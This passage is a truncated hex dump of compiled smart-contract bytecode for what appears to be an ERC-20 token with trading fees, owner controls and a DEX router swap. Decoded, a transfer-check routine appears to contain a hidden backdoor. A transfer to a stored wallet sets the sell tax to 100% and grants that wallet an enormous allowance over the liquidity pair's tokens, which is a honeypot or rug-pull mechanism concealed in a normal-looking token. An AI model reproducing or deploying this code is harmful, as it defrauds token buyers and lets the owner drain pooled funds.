60381019061077a919061447f565b611ac1565b60405161078c919061460f565b60405180910390f35b3480156107a157600080fd5b506107aa611ae1565b6040516107b79190614401565b60405180910390f35b3480156107cc57600080fd5b506107e760048036038101906107e2919061447f565b611ae7565b6040516107f4919061460f565b60405180910390f35b34801561080957600080fd5b50610824600480360381019061081f91906147f4565b611b07565b005b34801561083257600080fd5b5061084d6004803603810190610848919061447f565b611bf1565b60405161085a9190614401565b60405180910390f35b34801561086f57600080fd5b50610878611c3a565b005b34801561088657600080fd5b5061088f611d8d565b60405161089c9190614401565b60405180910390f35b3480156108b157600080fd5b506108ba611d93565b005b3480156108c857600080fd5b506108d1611e45565b6040516108de9190614401565b60405180910390f35b3480156108f357600080fd5b506108fc611e4b565b6040516109099190614401565b60405180910390f35b34801561091e57600080fd5b50610927611e51565b6040516109349190614401565b60405180910390f35b34801561094957600080fd5b50610964600480360381019061095f91906146d0565b611e57565b005b34801561097257600080fd5b5061098d600480360381019061098891906147f4565b611f47565b005b34801561099b57600080fd5b506109a4612031565b6040516109b191906144bb565b60405180910390f35b3480156109c657600080fd5b506109cf61205a565b6040516109dc9190614566565b60405180910390f35b3480156109f157600080fd5b506109fa6120ec565b604051610a079190614401565b60405180910390f35b348015610a1c57600080fd5b50610a256120f6565b604051610a329190614401565b60405180910390f35b348015610a4757600080fd5b50610a626004803603810190610a5d91906145b4565b6120fc565b604051610a6f919061460f565b60405180910390f35b348015610a8457600080fd5b50610a9f6004803603810190610a9a91906145b4565b6121c9565b604051610aac919061460f565b60405180910390f35b348015610ac157600080fd5b50610aca6121e8565b604051610ad79190614401565b60405180910390f35b348015610aec57600080fd5b50610af56121ee565b604051610b0291906144bb565b60405180910390f35b348015610b1757600080fd5b50610b326004803603810190610b2d919061447f565b612214565b604051610b3f919061460f565b60405180910390f35b348015610b5457600080fd5b50610b5d612234565b604051610b6a9190614855565b60405180910390f35b348015610b7f57600080fd5b50610b9a6004803603810190610b959190614870565b61225a565b604051610ba79190614401565b60405180910390f35b348015610bbc57600080fd5b50610bc56122e1565b604051610bd29190614401565b60405180910390f35b348015610be757600080fd5b50610c026004803603810190610bfd919061447f565b6122e7565b005b348015610c1057600080fd5b50610c2b6004803603810190610c2691906147c7565b61257d565b005b348015610c3957600080fd5b50610c546004803603810190610c4f91906147f4565b61261c565b005b348015610c6257600080fd5b50610c7d6004803603810190610c7891906146d0565b61271e565b005b348015610c8b57600080fd5b50610ca66004803603810190610ca191906147c7565b61280e565b005b348015610cb457600080fd5b50610ccf6004803603810190610cca919061447f565b6128ad565b005b348015610cdd57600080fd5b50610cf86004803603810190610cf391906146d0565b612a6e565b005b348015610d0657600080fd5b50610d0f612b5e565b604051610d1c919061460f565b60405180910390f35b348015610d3157600080fd5b50610d3a612b71565b604051610d479190614401565b60405180910390f35b348015610d5c57600080fd5b50610d776004803603810190610d7291906147c7565b612b77565b005b348015610d8557600080fd5b50610d8e612e23565b604051610d9b9190614855565b60405180910390f35b348015610db057600080fd5b50610db9612e49565b604051610dc6919061460f565b60405180910390f35b600f5481565b6000610ddf612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e63906148fc565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee09190614931565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6b9190614931565b6040518363ffffffff1660e01b8152600401610f8892919061495e565b602060405180830381865afa158015610fa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc99190614931565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361115c578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561104a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106e9190614931565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f99190614931565b6040518363ffffffff1660e01b815260040161111692919061495e565b6020604051808303816000875af1158015611135573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111599190614931565b91505b81601d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160196000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601b6000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b6060600180546112e7906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054611313906149b6565b80156113605780601f1061133557610100808354040283529160200191611360565b820191906000526020600020905b81548152906001019060200180831161134357829003601f168201915b5050505050905090565b600061137e611377612e5c565b8484612e64565b6001905092915050565b60105481565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600654905090565b600c5481565b601e5481565b6113d8612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611465576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145c906148fc565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006114cd84848461302d565b5061158f846114da612e5c565b61158a8560405180606001604052806028815260200161554660289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611540612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b600190509392505050565b6115a2612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461162f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611626906148fc565b60405180910390fd5b80601760006101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b60006116af61169e7f0000000000000000000000000000000000000000000000000000000000000000611bf1565b6006546136b990919063ffffffff16565b905090565b60135481565b600043905090565b6116ca612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174e906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036117c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bd90614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f086aa05ff00214e2d0c7c02b8a46b2614ad955732e6b43aa8afca69ed1ad76f860405160405180910390a380600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600360009054906101000a900460ff16905090565b6000611a1861197c612e5c565b84611a13856005600061198d612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b612e64565b6001905092915050565b611a2a612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ab7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aae906148fc565b60405180910390fd5b8060078190555050565b601b6020528060005260406000206000915054906101000a900460ff1681565b60115481565b60186020528060005260406000206000915054906101000a900460ff1681565b611b0f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b93906148fc565b60405180910390fd5b611ba68282613761565b600d54600c541115611bed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be490614ac5565b60405180910390fd5b5050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611c42612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ccf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc6906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600b5481565b611d9b612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1f906148fc565b60405180910390fd5b6001602060006101000a81548160ff021916908315150217905550565b60155481565b60165481565b600a5481565b611e5f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee3906148fc565b60405180910390fd5b80601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611f4f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611fdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fd3906148fc565b60405180910390fd5b611fe68282613789565b601154601054111561202d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161202490614b57565b60405180910390fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054612069906149b6565b80601f0160208091040260200160405190810160405280929190818152602001828054612095906149b6565b80156120e25780601f106120b7576101008083540402835291602001916120e2565b820191906000526020600020905b8154815290600101906020018083116120c557829003601f168201915b5050505050905090565b6000600754905090565b60145481565b60006121bf612109612e5c565b846121ba8560405180606001604052806025815260200161556e6025913960056000612133612e5c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b612e64565b6001905092915050565b60006121dd6121d6612e5c565b848461302d565b506001905092915050565b60125481565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60196020528060005260406000206000915054906101000a900460ff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d5481565b6122ef612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461237c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612373906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036123eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123e290614a33565b60405180910390fd5b6001601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600060186000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f6080503d1da552ae8eb4b7b8a20245d9fabed014180510e7d1a05ea08fdb0f3e60405160405180910390a380600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612585612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612612576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612609906148fc565b60405180910390fd5b8060158190555050565b612624612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146126b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a8906148fc565b60405180910390fd5b81601281905550806013819055506013546012546126cf9190614ba6565b60148190555060646014541461271a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161271190614c4c565b60405180910390fd5b5050565b612726612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146127b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127aa906148fc565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b612816612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146128a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289a906148fc565b60405180910390fd5b8060168190555050565b6128b5612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612942576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612939906148fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036129b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129a890614cde565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b612a76612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612afa906148fc565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601760009054906101000a900460ff1681565b601f5481565b612b7f612e5c565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c03906148fc565b60405180910390fd5b6000600267ffffffffffffffff811115612c2957612c28614cfe565b5b604051908082528060200260200182016040528015612c575781602001602082028036833780820191505090505b509050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612cc7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ceb9190614931565b81600081518110612cff57612cfe614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110612d4e57612d4d614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663b6f9de958360008461dead426040518663ffffffff1660e01b8152600401612ded9493929190614e55565b6000604051808303818588803b158015612e0657600080fd5b505af1158015612e1a573d6000803e3d6000fd5b50505050505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b602060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eca90614f13565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612f42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f3990614fa5565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516130209190614401565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361309d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161309490615037565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361310c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613103906150c9565b60405180910390fd5b602060009054906101000a900460ff1661319657613128612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614613195576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161318c9061515b565b60405180910390fd5b5b601d60149054906101000a900460ff16156131bd576131b68484846137b1565b905061364e565b6131c5612031565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156132335750613203612031565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561324457613243848484613984565b5b600061324f30611bf1565b905060006007548210159050601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156132b25750805b80156132cb5750601d60149054906101000a900460ff16155b80156133215750601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156133305761332f82613b36565b5b6133b9846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000601860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061349f5750601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6134b3576134ae878787613cee565b6134b5565b845b9050601760009054906101000a900460ff16801561351d5750601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561354c576016546135408261353289611bf1565b61370390919063ffffffff16565b111561354b57600080fd5b5b61359e81600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161363e9190614401565b60405180910390a3600193505050505b9392505050565b600083831115829061369d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016136949190614566565b60405180910390fd5b50600083856136ac919061517b565b9050809150509392505050565b60006136fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613655565b905092915050565b60008082846137129190614ba6565b905083811015613757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161374e906151fb565b60405180910390fd5b8091505092915050565b81600b8190555080600a81905550600a54600b5461377f9190614ba6565b600c819055505050565b81600f8190555080600e81905550600e54600f546137a79190614ba6565b6010819055505050565b600061383c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136559092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138d182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516139719190614401565b60405180910390a3600190509392505050565b601554811115806139de5750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a1490615267565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b3157613a7e60016063613789565b6ec097ce7bc90715b34b9f100000000060056000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6001601d60146101000a81548160ff0219169083151502179055506000613b8f6002613b81601454613b7360125487613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613ba682846136b990919063ffffffff16565b9050613bb181613fd9565b60004790506000613be2613bd16002601254613f8f90919063ffffffff16565b6014546136b990919063ffffffff16565b90506000613c206002613c1284613c0460125488613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613c3782856136b990919063ffffffff16565b90506000811115613c6f57613c6e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682614255565b5b600082118015613c7f5750600086115b15613cca57613c8e86836142a0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858388604051613cc193929190615287565b60405180910390a15b5050505050506000601d60146101000a81548160ff02191690831515021790555050565b60008060009050601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d7657613d6f6064613d61600c5486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b9050613df4565b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613df357613df06064613de260105486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b90505b5b6000811115613ef857613e4f81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613eef9190614401565b60405180910390a35b613f0b81846136b990919063ffffffff16565b9150509392505050565b6000808303613f275760009050613f89565b60008284613f3591906152be565b9050828482613f44919061532f565b14613f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613f7b906153d2565b60405180910390fd5b809150505b92915050565b6000613fd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614385565b905092915050565b6000600267ffffffffffffffff811115613ff657613ff5614cfe565b5b6040519080825280602002602001820160405280156140245781602001602082028036833780820191505090505b509050308160008151811061403c5761403b614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156140e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141079190614931565b8160018151811061411b5761411a614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061418230601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016141e69594939291906153f2565b600060405180830381600087803b15801561420057600080fd5b505af1158015614214573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161424992919061544c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561429b573d6000803e3d6000fd5b505050565b6142cd30601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080614319612031565b426040518863ffffffff1660e01b815260040161433b9695949392919061547c565b60606040518083038185885af1158015614359573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061437e91906154f2565b5050505050565b600080831182906143cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016143c39190614566565b60405180910390fd5b50600083856143db919061532f565b9050809150509392505050565b6000819050919050565b6143fb816143e8565b82525050565b600060208201905061441660008301846143f2565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061444c82614421565b9050919050565b61445c81614441565b811461446757600080fd5b50565b60008135905061447981614453565b92915050565b6000602082840312156144955761449461441c565b5b60006144a38482850161446a565b91505092915050565b6144b581614441565b82525050565b60006020820190506144d060008301846144ac565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156145105780820151818401526020810190506144f5565b60008484015250505050565b6000601f19601f8301169050919050565b6000614538826144d6565b61454281856144e1565b93506145528185602086016144f2565b61455b8161451c565b840191505092915050565b60006020820190508181036000830152614580818461452d565b905092915050565b614591816143e8565b811461459c57600080fd5b50565b6000813590506145ae81614588565b92915050565b600080604083850312156145cb576145ca61441c565b5b60006145d98582860161446a565b92505060206145ea8582860161459f565b9150509250929050565b60008115159050919050565b614609816145f4565b82525050565b60006020820190506146246000830184614600565b92915050565b6000819050919050565b600061464f61464a61464584614421565b61462a565b614421565b9050919050565b600061466182614634565b9050919050565b600061467382614656565b9050919050565b61468381614668565b82525050565b600060208201905061469e600083018461467a565b92915050565b6146ad816145f4565b81146146b857600080fd5b50565b6000813590506146ca816146a4565b92915050565b600080604083850312156146e7576146e661441c565b5b60006146f58582860161446a565b9250506020614706858286016146bb565b9150509250929050565b6000806000606084860312156147295761472861441c565b5b60006147378682870161446a565b93505060206147488682870161446a565b92505060406147598682870161459f565b9150509250925092565b6000602082840312156147795